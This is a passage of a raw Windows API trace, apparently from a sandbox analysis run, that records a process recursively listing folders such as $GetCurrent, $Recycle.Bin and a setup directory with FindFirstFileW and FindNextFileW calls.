ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0050.093] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.093] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603c0 [0050.115] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.116] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0050.116] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0050.116] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0050.117] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0050.117] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0050.117] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0050.117] FindClose (in: hFindFile=0x42603c0 | out: hFindFile=0x42603c0) returned 1 [0050.124] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.124] FindNextFileW (in: hFindFile=0x6b9758, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0050.124] FindClose (in: hFindFile=0x6b9758 | out: hFindFile=0x6b9758) returned 1 [0050.124] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.125] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0050.125] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.126] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0050.126] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0050.126] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0050.126] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.126] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260140 [0050.126] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.126] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0050.127] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0050.127] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0050.127] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.127] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260640 [0050.127] FindNextFileW (in: hFindFile=0x4260640, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x4260640, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x4260640, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0050.127] FindClose (in: hFindFile=0x4260640 | out: hFindFile=0x4260640) returned 1 [0050.127] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0050.127] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0050.127] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.128] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0050.128] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0050.128] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.129] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0050.129] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0050.130] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0050.130] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.130] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0050.131] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.132] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.132] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.132] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.132] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.132] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0050.546] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.546] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0050.546] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.546] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260100 [0050.547] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.547] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.547] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.547] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.548] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.548] FindClose (in: hFindFile=0x4260100 | out: hFindFile=0x4260100) returned 1 [0050.548] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.548] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0050.548] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.548] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, 